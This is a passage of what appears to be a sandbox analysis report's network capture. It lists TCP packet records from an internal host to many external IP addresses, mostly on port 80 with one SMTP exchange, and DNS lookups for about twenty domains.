May 31, 2023 14:51:12.295969963 CEST	50109	80	192.168.2.3	34.228.163.56
May 31, 2023 14:51:12.299669027 CEST	49823	80	192.168.2.3	211.1.226.67
May 31, 2023 14:51:12.300564051 CEST	50111	80	192.168.2.3	211.1.226.67
May 31, 2023 14:51:12.314311028 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:12.318747997 CEST	50066	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:12.381444931 CEST	80	50069	70.39.251.249	192.168.2.3
May 31, 2023 14:51:12.387208939 CEST	50069	80	192.168.2.3	70.39.251.249
May 31, 2023 14:51:12.441390991 CEST	80	50109	34.228.163.56	192.168.2.3
May 31, 2023 14:51:12.443795919 CEST	80	50109	34.228.163.56	192.168.2.3
May 31, 2023 14:51:12.443825960 CEST	80	50109	34.228.163.56	192.168.2.3
May 31, 2023 14:51:12.443845034 CEST	80	50109	34.228.163.56	192.168.2.3
May 31, 2023 14:51:12.443864107 CEST	80	50109	34.228.163.56	192.168.2.3
May 31, 2023 14:51:12.443882942 CEST	80	50109	34.228.163.56	192.168.2.3
May 31, 2023 14:51:12.449019909 CEST	50109	80	192.168.2.3	34.228.163.56
May 31, 2023 14:51:12.495059013 CEST	50110	80	192.168.2.3	188.165.133.163
May 31, 2023 14:51:12.495219946 CEST	50108	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:12.515357971 CEST	80	50110	188.165.133.163	192.168.2.3
May 31, 2023 14:51:12.515407085 CEST	80	50110	188.165.133.163	192.168.2.3
May 31, 2023 14:51:12.515467882 CEST	50110	80	192.168.2.3	188.165.133.163
May 31, 2023 14:51:12.578222036 CEST	80	49823	211.1.226.67	192.168.2.3
May 31, 2023 14:51:12.580651999 CEST	80	50111	211.1.226.67	192.168.2.3
May 31, 2023 14:51:12.582117081 CEST	49823	80	192.168.2.3	211.1.226.67
May 31, 2023 14:51:12.582191944 CEST	50111	80	192.168.2.3	211.1.226.67
May 31, 2023 14:51:12.582767963 CEST	50111	80	192.168.2.3	211.1.226.67
May 31, 2023 14:51:12.611043930 CEST	80	50093	135.181.73.98	192.168.2.3
May 31, 2023 14:51:12.611264944 CEST	50093	80	192.168.2.3	135.181.73.98
May 31, 2023 14:51:12.650209904 CEST	80	50108	3.19.116.195	192.168.2.3
May 31, 2023 14:51:12.650254011 CEST	80	50108	3.19.116.195	192.168.2.3
May 31, 2023 14:51:12.650377989 CEST	50108	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:12.695225000 CEST	50108	80	192.168.2.3	3.19.116.195
May 31, 2023 14:51:12.695411921 CEST	50112	80	192.168.2.3	69.163.239.62
May 31, 2023 14:51:12.707499027 CEST	50110	80	192.168.2.3	188.165.133.163
May 31, 2023 14:51:12.727833986 CEST	80	50110	188.165.133.163	192.168.2.3
May 31, 2023 14:51:12.728060007 CEST	50110	80	192.168.2.3	188.165.133.163
May 31, 2023 14:51:12.850253105 CEST	80	50108	3.19.116.195	192.168.2.3
May 31, 2023 14:51:12.862910032 CEST	80	50112	69.163.239.62	192.168.2.3
May 31, 2023 14:51:12.863122940 CEST	80	50111	211.1.226.67	192.168.2.3
May 31, 2023 14:51:12.863193035 CEST	80	50111	211.1.226.67	192.168.2.3
May 31, 2023 14:51:12.863729000 CEST	50112	80	192.168.2.3	69.163.239.62
May 31, 2023 14:51:12.863889933 CEST	50111	80	192.168.2.3	211.1.226.67
May 31, 2023 14:51:12.931797028 CEST	50111	80	192.168.2.3	211.1.226.67
May 31, 2023 14:51:12.951800108 CEST	50112	80	192.168.2.3	69.163.239.62
May 31, 2023 14:51:12.957233906 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957264900 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957283974 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957304955 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957323074 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957340956 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957360029 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957377911 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957396030 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957413912 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957978010 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.957998037 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.958013058 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:12.959043980 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:12.959274054 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.028410912 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.032474995 CEST	50114	80	192.168.2.3	51.79.51.72
May 31, 2023 14:51:13.048185110 CEST	49826	80	192.168.2.3	172.67.165.62
May 31, 2023 14:51:13.049400091 CEST	50115	80	192.168.2.3	172.67.165.62
May 31, 2023 14:51:13.064985991 CEST	80	49826	172.67.165.62	192.168.2.3
May 31, 2023 14:51:13.065104961 CEST	49826	80	192.168.2.3	172.67.165.62
May 31, 2023 14:51:13.066028118 CEST	80	50115	172.67.165.62	192.168.2.3
May 31, 2023 14:51:13.066157103 CEST	50115	80	192.168.2.3	172.67.165.62
May 31, 2023 14:51:13.067754984 CEST	50115	80	192.168.2.3	172.67.165.62
May 31, 2023 14:51:13.071141958 CEST	49820	80	192.168.2.3	217.19.237.54
May 31, 2023 14:51:13.072019100 CEST	50116	80	192.168.2.3	217.19.237.54
May 31, 2023 14:51:13.073860884 CEST	49819	80	192.168.2.3	108.167.164.216
May 31, 2023 14:51:13.074847937 CEST	50117	80	192.168.2.3	108.167.164.216
May 31, 2023 14:51:13.084378958 CEST	80	50115	172.67.165.62	192.168.2.3
May 31, 2023 14:51:13.095464945 CEST	80	49820	217.19.237.54	192.168.2.3
May 31, 2023 14:51:13.095812082 CEST	80	50116	217.19.237.54	192.168.2.3
May 31, 2023 14:51:13.095926046 CEST	50116	80	192.168.2.3	217.19.237.54
May 31, 2023 14:51:13.096375942 CEST	50116	80	192.168.2.3	217.19.237.54
May 31, 2023 14:51:13.103563070 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.103595972 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.103615046 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.103636026 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.103773117 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.103809118 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.103900909 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.103919983 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.103939056 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.103956938 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.104217052 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.104756117 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.104787111 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.104805946 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.104824066 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.104928970 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.105226994 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.105561018 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.105582952 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.105601072 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.105622053 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.105885029 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.106041908 CEST	80	50057	157.112.176.4	192.168.2.3
May 31, 2023 14:51:13.106415033 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.106415033 CEST	50057	80	192.168.2.3	157.112.176.4
May 31, 2023 14:51:13.106559992 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.106857061 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.106878996 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.106899023 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.106905937 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.106919050 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.106929064 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.106949091 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.106971025 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.107412100 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.107436895 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.107464075 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.107485056 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.118320942 CEST	80	50112	69.163.239.62	192.168.2.3
May 31, 2023 14:51:13.118853092 CEST	80	50112	69.163.239.62	192.168.2.3
May 31, 2023 14:51:13.119123936 CEST	50112	80	192.168.2.3	69.163.239.62
May 31, 2023 14:51:13.120187998 CEST	80	50116	217.19.237.54	192.168.2.3
May 31, 2023 14:51:13.121311903 CEST	80	50116	217.19.237.54	192.168.2.3
May 31, 2023 14:51:13.121426105 CEST	50116	80	192.168.2.3	217.19.237.54
May 31, 2023 14:51:13.135591030 CEST	80	50115	172.67.165.62	192.168.2.3
May 31, 2023 14:51:13.135621071 CEST	80	50115	172.67.165.62	192.168.2.3
May 31, 2023 14:51:13.135631084 CEST	80	50115	172.67.165.62	192.168.2.3
May 31, 2023 14:51:13.135828972 CEST	50115	80	192.168.2.3	172.67.165.62
May 31, 2023 14:51:13.136293888 CEST	80	50114	51.79.51.72	192.168.2.3
May 31, 2023 14:51:13.136460066 CEST	50114	80	192.168.2.3	51.79.51.72
May 31, 2023 14:51:13.153179884 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.153342962 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.153832912 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.199892998 CEST	80	49819	108.167.164.216	192.168.2.3
May 31, 2023 14:51:13.200603008 CEST	80	50117	108.167.164.216	192.168.2.3
May 31, 2023 14:51:13.205679893 CEST	50117	80	192.168.2.3	108.167.164.216
May 31, 2023 14:51:13.212430954 CEST	80	50111	211.1.226.67	192.168.2.3
May 31, 2023 14:51:13.215045929 CEST	50111	80	192.168.2.3	211.1.226.67
May 31, 2023 14:51:13.247864962 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.247899055 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.247934103 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.248254061 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.248295069 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.248313904 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.248332024 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.248806953 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.248835087 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.248853922 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.248872995 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.249628067 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.249655962 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.249674082 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.249692917 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.250446081 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.250468969 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.250487089 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.250504971 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.251274109 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.251300097 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.251317978 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.251336098 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.252782106 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.252820015 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.252837896 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.252856970 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.252991915 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.253012896 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.253031969 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.253050089 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.253799915 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.253827095 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.253845930 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.253864050 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.254730940 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.254775047 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.254793882 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.254812956 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.255482912 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.255512953 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.255531073 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.255548954 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.256539106 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.256565094 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.256586075 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.256603003 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.259135008 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.259191036 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.259234905 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.259268045 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.259315014 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.278444052 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.318768024 CEST	50114	80	192.168.2.3	51.79.51.72
May 31, 2023 14:51:13.339982033 CEST	50112	80	192.168.2.3	69.163.239.62
May 31, 2023 14:51:13.358383894 CEST	50117	80	192.168.2.3	108.167.164.216
May 31, 2023 14:51:13.369631052 CEST	50118	80	192.168.2.3	39.99.233.155
May 31, 2023 14:51:13.397458076 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.397490978 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.397512913 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.397532940 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.397707939 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.397780895 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.397800922 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.397819996 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.397838116 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.397839069 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.397984982 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.398646116 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.398705959 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.398823977 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.398844004 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.398864031 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.398869038 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.398889065 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.398895979 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.398916960 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.398941040 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.399730921 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.399760008 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.399780035 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.399799109 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.399830103 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.399930000 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.400509119 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.400535107 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.400552034 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.400572062 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.401148081 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.401376009 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.401400089 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.401418924 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.401438951 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.401443958 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.401468039 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.401501894 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.402168989 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.402194977 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.402211905 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.402225018 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.402230024 CEST	80	50102	104.21.66.46	192.168.2.3
May 31, 2023 14:51:13.402249098 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.402278900 CEST	50102	80	192.168.2.3	104.21.66.46
May 31, 2023 14:51:13.422688961 CEST	80	50114	51.79.51.72	192.168.2.3
May 31, 2023 14:51:13.422718048 CEST	80	50114	51.79.51.72	192.168.2.3
May 31, 2023 14:51:13.422821045 CEST	50114	80	192.168.2.3	51.79.51.72
May 31, 2023 14:51:13.425158024 CEST	50114	80	192.168.2.3	51.79.51.72
May 31, 2023 14:51:13.464744091 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:51:13.465567112 CEST	50119	80	192.168.2.3	172.67.70.223
May 31, 2023 14:51:13.477217913 CEST	80	50056	93.187.206.66	192.168.2.3
May 31, 2023 14:51:13.477354050 CEST	50056	80	192.168.2.3	93.187.206.66
May 31, 2023 14:51:13.481492996 CEST	80	49843	172.67.70.223	192.168.2.3
May 31, 2023 14:51:13.482012987 CEST	80	50119	172.67.70.223	192.168.2.3
May 31, 2023 14:51:13.482278109 CEST	49843	80	192.168.2.3	172.67.70.223
May 31, 2023 14:51:13.482367039 CEST	50119	80	192.168.2.3	172.67.70.223
May 31, 2023 14:51:13.482800007 CEST	50119	80	192.168.2.3	172.67.70.223
May 31, 2023 14:51:13.484060049 CEST	80	50117	108.167.164.216	192.168.2.3
May 31, 2023 14:51:13.492535114 CEST	80	50117	108.167.164.216	192.168.2.3
May 31, 2023 14:51:13.492620945 CEST	50117	80	192.168.2.3	108.167.164.216
May 31, 2023 14:51:13.499224901 CEST	80	50119	172.67.70.223	192.168.2.3
May 31, 2023 14:51:13.506422043 CEST	80	50112	69.163.239.62	192.168.2.3
May 31, 2023 14:51:13.506696939 CEST	80	50112	69.163.239.62	192.168.2.3
May 31, 2023 14:51:13.512729883 CEST	50112	80	192.168.2.3	69.163.239.62
May 31, 2023 14:51:13.512921095 CEST	49828	80	192.168.2.3	96.127.180.42
May 31, 2023 14:51:13.528986931 CEST	80	50114	51.79.51.72	192.168.2.3
May 31, 2023 14:51:13.620630980 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.620663881 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.620682955 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.620703936 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.620740891 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.620757103 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.620759964 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.620779037 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.620798111 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.620815992 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.620821953 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.620842934 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.620868921 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.625401020 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.625658035 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.627312899 CEST	49825	80	192.168.2.3	13.248.169.48
May 31, 2023 14:51:13.629957914 CEST	80	49828	96.127.180.42	192.168.2.3
May 31, 2023 14:51:13.646744967 CEST	80	49825	13.248.169.48	192.168.2.3
May 31, 2023 14:51:13.646864891 CEST	49825	80	192.168.2.3	13.248.169.48
May 31, 2023 14:51:13.745522022 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745553970 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745573044 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745592117 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745611906 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745632887 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745651960 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745671034 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745691061 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745709896 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745728970 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745748043 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745768070 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745768070 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.745785952 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745814085 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.745841980 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.745898962 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.745980978 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.755132914 CEST	25	50105	142.250.153.27	192.168.2.3
May 31, 2023 14:51:13.789167881 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.789202929 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.789222956 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.789242029 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.789259911 CEST	80	50113	104.218.10.254	192.168.2.3
May 31, 2023 14:51:13.805262089 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.805318117 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.805318117 CEST	50113	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:13.805385113 CEST	50105	25	192.168.2.3	142.250.153.27
May 31, 2023 14:51:13.823302984 CEST	80	50079	62.122.190.121	192.168.2.3
May 31, 2023 14:51:13.823369980 CEST	50079	80	192.168.2.3	62.122.190.121

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 31, 2023 14:49:56.256109953 CEST	192.168.2.3	8.8.8.8	0x63fd	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.257860899 CEST	192.168.2.3	8.8.8.8	0xf966	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.257917881 CEST	192.168.2.3	8.8.8.8	0xca6f	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.260669947 CEST	192.168.2.3	8.8.8.8	0x4c08	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.262264967 CEST	192.168.2.3	8.8.8.8	0x6e91	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.264027119 CEST	192.168.2.3	8.8.8.8	0xb590	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.265932083 CEST	192.168.2.3	8.8.8.8	0xa3e3	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.267618895 CEST	192.168.2.3	8.8.8.8	0xa2cf	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.268323898 CEST	192.168.2.3	8.8.8.8	0xe241	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.269104958 CEST	192.168.2.3	8.8.8.8	0x52f1	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.558448076 CEST	192.168.2.3	8.8.8.8	0xfd52	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.561817884 CEST	192.168.2.3	8.8.8.8	0x2633	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.717698097 CEST	192.168.2.3	8.8.8.8	0x46ba	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.744847059 CEST	192.168.2.3	8.8.8.8	0x9e9e	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.746406078 CEST	192.168.2.3	8.8.8.8	0x25b	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.892098904 CEST	192.168.2.3	8.8.8.8	0xf2a	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.942424059 CEST	192.168.2.3	8.8.8.8	0x1d60	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.943152905 CEST	192.168.2.3	8.8.8.8	0x669b	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.965665102 CEST	192.168.2.3	8.8.8.8	0x6318	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.317934036 CEST	192.168.2.3	8.8.8.8	0xef83	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.360562086 CEST	192.168.2.3	8.8.8.8	0x5bd2	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
